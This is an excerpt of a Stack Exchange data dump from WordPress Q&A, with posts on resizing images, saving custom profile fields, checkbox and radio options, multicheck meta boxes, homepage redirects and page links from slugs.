  <row Id="4984" PostTypeId="1" CreationDate="2010-12-07T11:56:04.653" Score="3" ViewCount="347" Body="&lt;p&gt;I have just changed the theme on my blog, and because of a small page width, it breaks the layout. Most of my earlier images (attached in posts) are around 600px in width, and now I need to resize all of them them proportionately to 450px. How do I resize them all at one shot? Is there a plugin for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: Writing a CSS rule is a good option, and I've already done that. But I figure resizing the images would also knock off the download overhead for each page!&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-07T13:13:03.120" LastActivityDate="2010-12-07T19:49:54.353" Title="Resizing all images" Tags="&lt;plugins&gt;&lt;images&gt;&lt;media&gt;&lt;image-size&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="3" />
  <row Id="4985" PostTypeId="1" AcceptedAnswerId="4990" CreationDate="2010-12-07T12:02:23.217" Score="0" ViewCount="242" Body="&lt;p&gt;Ok guys, i have problem when using some trics from here or other sites. I&lt;code&gt;m trying to use this method of adding custom user fields. But, when i add this, everytime i save it&lt;/code&gt;s all ok, but when i come back to edit something different in user profile, those new fields just goes blank, and if i did not input again my data in those fields and save my profile, those fields goes blank in DB. So, something is not ok that need to show me what i did just saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I told, it`s all ok until i open again my profile for editing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, here is code, &lt;a href=&quot;http://pastebin.com/u9syYRF3&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/u9syYRF3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="1853" LastEditorDisplayName="" LastEditDate="2010-12-07T12:45:20.807" LastActivityDate="2010-12-07T17:24:43.977" Title="Update users custom profile fields" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="4986" PostTypeId="2" ParentId="4984" CreationDate="2010-12-07T12:35:50.940" Score="1" ViewCount="" Body="&lt;p&gt;Try the plugin 'Regenerate Thumbnails', it does just what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1777" LastActivityDate="2010-12-07T12:35:50.940" CommentCount="2" />
  <row Id="4987" PostTypeId="2" ParentId="4983" CreationDate="2010-12-07T12:49:15.627" Score="2" ViewCount="" Body="&lt;p&gt;By Design, there is one permalink structure for the whole wordpress site. What you try to achieve needs to introduce a custom permalink structure for a part of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not trivial because you need to introduce your own permalinks via rewrites (&lt;a href=&quot;http://codex.wordpress.org/Rewrite_API&quot; rel=&quot;nofollow&quot;&gt;Rewrite API (Wordpress Codex)&lt;/a&gt;) and you need to change the links to those pages when linked on occasion. This can be done with hooks for the appropriate functions. E.g. for  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_link&quot; rel=&quot;nofollow&quot;&gt;get_category_link()&lt;/a&gt; you can make use of the &lt;code&gt;category_link&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't done this yet for a larger part of a site and I assume that it can introduce problems as you need to take care of multiple places to have it working properly. I don't want to say it's not possible but just a reminder of the side-effects this can have.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-07T12:49:15.627" />
  <row Id="4988" PostTypeId="2" ParentId="4967" CreationDate="2010-12-07T12:54:11.007" Score="2" ViewCount="" Body="&lt;p&gt;If you're looking for an example how this can be done, grab the current development version of wordpress. It's already everything in there you might need / can imagine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to make use of 3.1 but 3.0, use the 3.1 code as the example you're asking for. The user bar is located in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/admin-bar.php&quot; rel=&quot;nofollow&quot;&gt;admin-bar.php&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/class-wp-admin-bar.php&quot; rel=&quot;nofollow&quot;&gt;class-wp-admin-bar.php&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your theme needs to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;support&lt;/a&gt; &lt;code&gt;admin-bar&lt;/code&gt; and the code takes care on it's own by point-cutting the &lt;code&gt;wp_head&lt;/code&gt; hook - which you should have in your theme in any case. &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/js&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/css&quot; rel=&quot;nofollow&quot;&gt;CSS styles&lt;/a&gt; are named 'admin-bar' as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's basically copying over the files to your site, enabling theme support for it and if there are some 3.1 only functions used therein, work around those. You can additionally move those files to your theme, rename functions and classes to reflect your namespace to have this a bit more separated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A benefit to make use of that is that your site will be compatible when updating to 3.1.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-07T13:02:25.417" LastActivityDate="2010-12-07T13:02:25.417" />
  <row Id="4989" PostTypeId="2" ParentId="4984" CreationDate="2010-12-07T12:59:29.387" Score="4" ViewCount="" Body="&lt;p&gt;I asked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1383/how-to-prepare-images-for-a-layout-width-change&quot;&gt;a similar but broader question&lt;/a&gt;, and I still need to research and write a complete answer. In the meantime here are some pointers that might help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1463/resizing-images-to-the-actual-size-used-in-the-editor/4012#4012&quot;&gt;a set of plugins that resizes all images to the size used in the editor&lt;/a&gt;. It works by converting &lt;code&gt;&amp;lt;img src=&quot;image.jpg&quot; width=&quot;200&quot; height=&quot;400&quot;/&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;img src=&quot;image-200x400.jpg&quot; width=&quot;200&quot; height=&quot;400&quot;/&amp;gt;&lt;/code&gt; (&lt;em&gt;Resize img tags&lt;/em&gt;) and catching and generating those missing intermediate sizes on request (&lt;em&gt;On-Demand Resizer&lt;/em&gt;). You should be able to do the first part in bulk, and then let the second plugin handle the new images. It also works with partial information: &lt;code&gt;image-200x.jpg&lt;/code&gt; will return a proportionally-resized image 200 pixels wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; indeed re-creates images at different sizes, but I don't think it also updates your post content to refer to these images? Even worse, if it deletes the old intermediate sizes, your post will still reference the now non-existing &lt;code&gt;image-600x400.jpg&lt;/code&gt; instead of &lt;code&gt;image-450x300.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-07T12:59:29.387" />
  <row Id="4990" PostTypeId="2" ParentId="4985" CreationDate="2010-12-07T14:39:10.923" Score="1" ViewCount="" Body="&lt;p&gt;You have specified the value of the &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; in a &lt;code&gt;value&lt;/code&gt; attribute, but for a &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; you must put it between the two tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea rows=&quot;10&quot; cols=&quot;60&quot; name=&quot;adsense_336&quot; id=&quot;adsense_336&quot; class=&quot;regular-text&quot; &amp;gt;&amp;lt;?php echo esc_attr( get_the_author_meta( 'adsense_336', $user-&amp;gt;ID ) ); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-07T17:24:43.977" LastActivityDate="2010-12-07T17:24:43.977" CommentCount="3" />
  <row Id="4991" PostTypeId="1" AcceptedAnswerId="4992" CreationDate="2010-12-07T15:08:12.270" Score="1" ViewCount="1451" Body="&lt;p&gt;Call me stupid but I coudn't figure out how to do it. For text input I would just: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;option_name&quot;  value=&quot;&amp;lt;?php echo get_option( 'option_name' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then hook it into workdpress using &lt;code&gt;register_setting()&lt;/code&gt;. I could then get its value thru &lt;code&gt;get_option('option_name')&lt;/code&gt;. How should I do that with checkboxes and radio buttons?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2010-12-07T17:07:42.477" Title="How to use checkbox and radio button in options page?" Tags="&lt;options&gt;" AnswerCount="2" />
  <row Id="4992" PostTypeId="2" ParentId="4991" CreationDate="2010-12-07T15:35:23.333" Score="2" ViewCount="" Body="&lt;p&gt;I tend to store multiple options as an array, so i'd have something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $options = get_option( 'myoption' ); ?&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_one]&quot; value=&quot;1&quot;&amp;lt;?php checked( 1 == $options['option_one'] ); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_two]&quot; value=&quot;1&quot;&amp;lt;?php checked( 1 == $options['option_two'] ); ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it does depend how the callback function that sanitizes the incoming data deals with the saved value(the callback you &lt;strong&gt;should be&lt;/strong&gt; defining as the third parameter of &lt;code&gt;register_setting&lt;/code&gt;). Personally when i'm dealing with checkboxes i don't set the array key, where as others may choose to set the key to 0(or whatever instead)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my code actually tends to look like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $options = get_option( 'myoption' ); ?&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_one]&quot; value=&quot;1&quot;&amp;lt;?php checked( isset( $options['option_one'] ) ); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_two]&quot; value=&quot;1&quot;&amp;lt;?php checked( isset( $options['option_two'] ) ); ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i'm only dealing with checkboxes my sanitization callback will look something along the lines of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function on_option_save( $options ) {&#xA;    if( !is_array( $options ) || empty( $options ) || ( false === $options ) )&#xA;        return array();&#xA;&#xA;    $valid_names = array_keys( $this-&amp;gt;defaults );&#xA;    $clean_options = array();&#xA;&#xA;    foreach( $valid_names as $option_name ) {&#xA;        if( isset( $options[$option_name] ) &amp;amp;&amp;amp; ( 1 == $options[$option_name] ) )&#xA;            $clean_options[$option_name] = 1;&#xA;        continue;&#xA;    }&#xA;    unset( $options );&#xA;    return $clean_options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ripped that straight from one of my plugin classes(a plugin with only checkbox options), but it's not code you can expect to work if you copy, it's there for illustration only..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For radios, if you're not using multiple selection it goes something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $options = get_option( 'my_option' ); ?&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;myoption[option_three]&quot; value=&quot;value1&quot;&amp;lt;?php checked( 'value1' == $options['option_three'] ); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;myoption[option_three]&quot; value=&quot;value2&quot;&amp;lt;?php checked( 'value2' == $options['option_three'] ); ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; It would of course to be wise to check the key is set before comparing against it's value (i've left that out of the above to keep it short).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did the above help? If not, just let me know what needs clarifying... (or what i'm missing)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE:&lt;/strong&gt; &lt;code&gt;checked()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find where the function is defined(in WordPres) here.&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/general-template.php#L2228&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/general-template.php#L2228&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first parameter is basically a conditional statement, and the second parameter(if you want to define it) is what to check against. The default value to compare against is &lt;strong&gt;TRUE&lt;/strong&gt;... so if were to do &lt;code&gt;checked( 1 == 1, true )&lt;/code&gt; i'd be checking if 1 == 1 is equal to true. If the conditional hits a match, then you get &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; returned to you..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I'm rubbish at explaining things, so if the above needs further clarification i won't be offended... just lemme know.. ;)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-07T17:07:42.477" LastActivityDate="2010-12-07T17:07:42.477" CommentCount="4" />
  <row Id="4993" PostTypeId="2" ParentId="4694" CreationDate="2010-12-07T15:44:05.530" Score="3" ViewCount="" Body="&lt;p&gt;The post metadata can store multiple values either as distinct entries in the &lt;code&gt;postmeta&lt;/code&gt; table, or as one entry with the value as a serialized PHP array. The serialization may require less code, but the distinct entries allow faster querying later (&quot;give me all posts that have at least option A of the multicheck checked&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took &lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;the code you linked to&lt;/a&gt; and made the following changes to allow a &quot;multicheck&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// in show():&#xA;// Line 254: replace it by:&#xA;$meta = get_post_meta($post-&amp;gt;ID, $field['id'], 'multicheck' != $field['type'] /* If multicheck this can be multiple values */);&#xA;// Add the following to the switch:&#xA;case 'multicheck':&#xA;    foreach ( $field['options'] as $value =&amp;gt; $name ) {&#xA;        // Append `[]` to the name to get multiple values&#xA;        // Use in_array() to check whether the current option should be checked&#xA;        echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;', $field['id'], '[]&quot; id=&quot;', $field['id'], '&quot; value=&quot;', $value, '&quot;', in_array( $value, $meta ) ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt; ', $name, '&amp;lt;br/&amp;gt;';&#xA;    }&#xA;    break;&#xA;&#xA;// In save():&#xA;// Line 358: replace it by:&#xA;$old = get_post_meta($post_id, $name, 'multicheck' != $field['type'] /* If multicheck this can be multiple values */);&#xA;// Lines 409-413: Wrap them in an else-clause, and prepend them by:&#xA;if ( 'multicheck' == $field['type'] ) {&#xA;    // Do the saving in two steps: first get everything we don't have yet&#xA;    // Then get everything we should not have anymore&#xA;    if ( empty( $new ) ) {&#xA;        $new = array();&#xA;    }&#xA;    $aNewToAdd = array_diff( $new, $old );&#xA;    $aOldToDelete = array_diff( $old, $new );&#xA;    foreach ( $aNewToAdd as $newToAdd ) {&#xA;        add_post_meta( $post_id, $name, $newToAdd, false );&#xA;    }&#xA;    foreach ( $aOldToDelete as $oldToDelete ) {&#xA;        delete_post_meta( $post_id, $name, $oldToDelete );&#xA;    }&#xA;} else {&#xA;    // The original lines 409-413&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Two extra changes to prevent PHP warnings when &lt;code&gt;WP_DEBUG&lt;/code&gt; is enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Line 337:&#xA;if ( ! isset( $_POST['wp_meta_box_nonce'] ) || !wp_verify_nonce($_POST['wp_meta_box_nonce'], basename(__FILE__))) {&#xA;// Line 359:&#xA;$new = isset( $_POST[$field['id']] ) ? $_POST[$field['id']] : null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With these changes, you can use a &quot;multicheck&quot; by defining it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'name' =&amp;gt; 'Multicheck',&#xA;    'id' =&amp;gt; $prefix . 'multicheck',&#xA;    'type' =&amp;gt; 'multicheck',&#xA;    'options' =&amp;gt; array(&#xA;        'a' =&amp;gt; 'Apple',&#xA;        'b' =&amp;gt; 'Banana',&#xA;        'c' =&amp;gt; 'Cherry',&#xA;    ),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-07T15:44:05.530" CommentCount="6" />
  <row Id="4994" PostTypeId="2" ParentId="4900" CreationDate="2010-12-07T16:01:14.257" Score="0" ViewCount="" Body="&lt;p&gt;I'm so sorry! I lost login please forgive me, apparently I used an incorrect email. I'll contact the forum admin to see how I can recover my username..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Denis thanks for the code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using it like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $my_table = $wpdb-&amp;gt;prefix . &quot;rated_posts&quot;;&#xA;&#xA;   $wpdb-&amp;gt;query( &quot;INSERT INTO $my_table (rated_post_id)&#xA;                SELECT ID&#xA;                FROM $wpdb-&amp;gt;posts as posts&#xA;                LEFT JOIN $my_table as dup_check&#xA;                ON dup_check.rated_post_id = posts.ID&#xA;                WHERE dup_check.rated_post_id IS NULL&quot; ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I deactivated the plugin and upon activation to test, I get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 663 characters of&#xA;  unexpected output during activation.&#xA;  If you notice “headers already sent”&#xA;  messages, problems with syndication&#xA;  feeds or other issues, try&#xA;  deactivating or removing this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have wp_debug on but I'm not getting any detailed errors.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-07T16:01:14.257" />
  <row Id="4995" PostTypeId="2" ParentId="4991" CreationDate="2010-12-07T16:09:18.840" Score="1" ViewCount="" Body="&lt;p&gt;checkbox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;option_name&quot; type=&quot;checkbox&quot; value=&quot;1&quot; &amp;lt;?php checked( '1', get_option( 'option_name' ) ); ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radio:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;option_name&quot; type=&quot;radio&quot; value=&quot;0&quot; &amp;lt;?php checked( '0', get_option( 'option_name' ) ); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;input name=&quot;option_name&quot; type=&quot;radio&quot; value=&quot;1&quot; &amp;lt;?php checked( '1', get_option( 'option_name' ) ); ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastEditorUserId="1241" LastEditorDisplayName="" LastEditDate="2010-12-07T16:34:28.077" LastActivityDate="2010-12-07T16:34:28.077" CommentCount="3" />
  <row Id="4996" PostTypeId="1" AcceptedAnswerId="5009" CreationDate="2010-12-07T16:31:25.560" Score="1" ViewCount="95" Body="&lt;p&gt;I have seen on some websites that you can sort posts server-side by passing in some queries like so: &lt;code&gt;domain.com/?sort=date&lt;/code&gt; or &lt;code&gt;domain.com/?sort=name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this with WordPress posts on a page?&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2010-12-07T20:25:24.177" Title="Server-side sorting of posts" Tags="&lt;posts&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4997" PostTypeId="1" AcceptedAnswerId="5000" CreationDate="2010-12-07T16:31:28.783" Score="1" ViewCount="181" Body="&lt;p&gt;I'm just wondering how I would go about redirecting to the latest post when you go to the web site? Similar to &lt;a href=&quot;http://gregorywood.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://gregorywood.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suleiman&lt;/p&gt;&#xA;" OwnerUserId="1578" LastActivityDate="2010-12-07T17:18:58.960" Title="Redirect homepage ( www.sitename.com ) to the latest post" Tags="&lt;redirect&gt;" AnswerCount="1" />
  <row Id="4998" PostTypeId="1" AcceptedAnswerId="5005" CreationDate="2010-12-07T16:36:05.977" Score="5" ViewCount="902" Body="&lt;h2&gt;How can I extend the functions of the WordPress 3.1 admin bar in my plugins?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am looking for specific hooks and filters to use in adding links or other features to the admin bar.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good example of what has already been done is the Yoast &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;WordPress SEO (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZapRm.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is no documentation available on extending the admin bar.  According to &lt;a href=&quot;http://codex.wordpress.org/Version_3.1&quot; rel=&quot;nofollow&quot;&gt;The Codex&lt;/a&gt; there are two filters to turn it off or not show it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;no_admin_bar()&lt;/code&gt; &amp;amp;  &lt;code&gt;show_admin_bar()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-13T10:55:30.073" LastActivityDate="2011-02-13T10:55:30.073" Title="Is the new WordPress 3.1 admin bar pluggable and how can I extend it?" Tags="&lt;plugin-development&gt;&lt;3.1&gt;&lt;admin-bar&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" />
  <row Id="4999" PostTypeId="1" AcceptedAnswerId="5002" CreationDate="2010-12-07T17:09:07.837" Score="2" ViewCount="1089" Body="&lt;p&gt;Is is possible to get a page's permalink from the slug alone? I'm aware that you can get the page's permalink from the ID using &lt;code&gt;get_page_link()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link(40); ?&amp;gt;&quot;&amp;gt;Map&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm curious if there is any way to do the same with the slug of a page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_page_link('map'); ?&amp;gt;&quot;&amp;gt;Map&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2011-02-28T15:21:55.513" Title="Get page link from slug?" Tags="&lt;permalinks&gt;&lt;pages&gt;" AnswerCount="2" />
  <row Id="5000" PostTypeId="2" ParentId="4997" CreationDate="2010-12-07T17:18:58.960" Score="2" ViewCount="" Body="&lt;p&gt;Try this (as plugin or theme's functions.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'redirect' );&#xA;function redirect() {&#xA;        if ( is_home() &amp;amp;&amp;amp; ! is_paged() ) : &#xA;                wp_redirect( get_permalink() , 301 ); &#xA;                exit; &#xA;        endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-12-07T17:18:58.960" CommentCount="1" />
  <row Id="5001" PostTypeId="1" CreationDate="2010-12-07T17:33:03.020" Score="1" ViewCount="229" Body="&lt;p&gt;How do I add &lt;code&gt;$tzDesc&lt;/code&gt; and &lt;code&gt;$tzEmbed&lt;/code&gt; (and other variables) to the &lt;code&gt;$post&lt;/code&gt; object in the following function so that I can display the values in my theme files by inserting &lt;code&gt;&amp;lt;?php echo $tzDesc; ?&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_post', 'paginate_slide' );&#xA;&#xA;function paginate_slide( $post ) {&#xA;&#xA;    global $pages, $multipage, $numpages;&#xA;&#xA;    if( is_single() &amp;amp;&amp;amp; get_post_type() == 'post' ) {&#xA;&#xA;    $multipage = 1;&#xA;    $id = get_the_ID();&#xA;    $custom = array();&#xA;    $pages = array();&#xA;    $i = 1;&#xA;&#xA;    foreach( get_post_custom_keys() as $key )&#xA;        if ( false !== strpos( $key, 'slide' ) )&#xA;            $custom[$key] = get_post_meta( $id, $key, true);&#xA;&#xA;    while( isset( $custom[&quot;slide{$i}-title&quot;] ) ) {&#xA;&#xA;        $page = '';&#xA;        $tzTitle = $custom[&quot;slide{$i}-title&quot;];&#xA;        $tzImage = $custom[&quot;slide{$i}-image&quot;];&#xA;        $tzDesc = $custom[&quot;slide{$i}-desc&quot;];&#xA;        $tzEmbed = $custom[&quot;slide{$i}-embed&quot;];&#xA;&#xA;        $page = &quot;&amp;lt;h2&amp;gt;{$tzTitle}&amp;lt;/h2&amp;gt;&amp;lt;img src='{$tzImage}' /&amp;gt;&quot;;&#xA;        $pages[] = $page;&#xA;        $i++;&#xA;    }&#xA;&#xA;    $numpages = count( $pages );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know and can provide an answer can you please be very detailed in how the code should be structured because my knowledge of php is very minimal and I have tried to do this numerous already without any success.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-07T19:31:48.380" Title="How do I make my function add variables/values to the $post object?" Tags="&lt;php&gt;&lt;functions&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="5002" PostTypeId="2" ParentId="4999" CreationDate="2010-12-07T18:19:31.227" Score="8" ViewCount="" Body="&lt;p&gt;You're talking about Pages right? Not Posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you looking for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;get_permalink( get_page_by_path( 'map' ) )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_permalink( get_page_by_title( 'Map' ) )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;home_url( '/map/' )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2010-12-07T18:19:31.227" CommentCount="4" />
  <row Id="5003" PostTypeId="2" ParentId="5001" CreationDate="2010-12-07T18:41:03.960" Score="3" ViewCount="" Body="&lt;p&gt;Like any other php object, you can add items to the $post object like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post-&amp;gt;my_new_val_name = 'my new value';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly what you're trying to do, but inside a function hooked to the_post, you can assign new values and return the object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_func($post) {&#xA;&#xA;    $post-&amp;gt;my_new_val_name = 'my new value';&#xA;    return $post;&#xA;&#xA;}&#xA;add_action( 'the_post', 'my_func' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in your template file, you won't be able to just echo $my_new_val_name as you're suggesting... the the_post() function doesn't extract values that way. You'll have to reference the post object explicitly. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $post-&amp;gt;my_new_val_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2010-12-07T19:31:48.380" LastActivityDate="2010-12-07T19:31:48.380" CommentCount="6" />
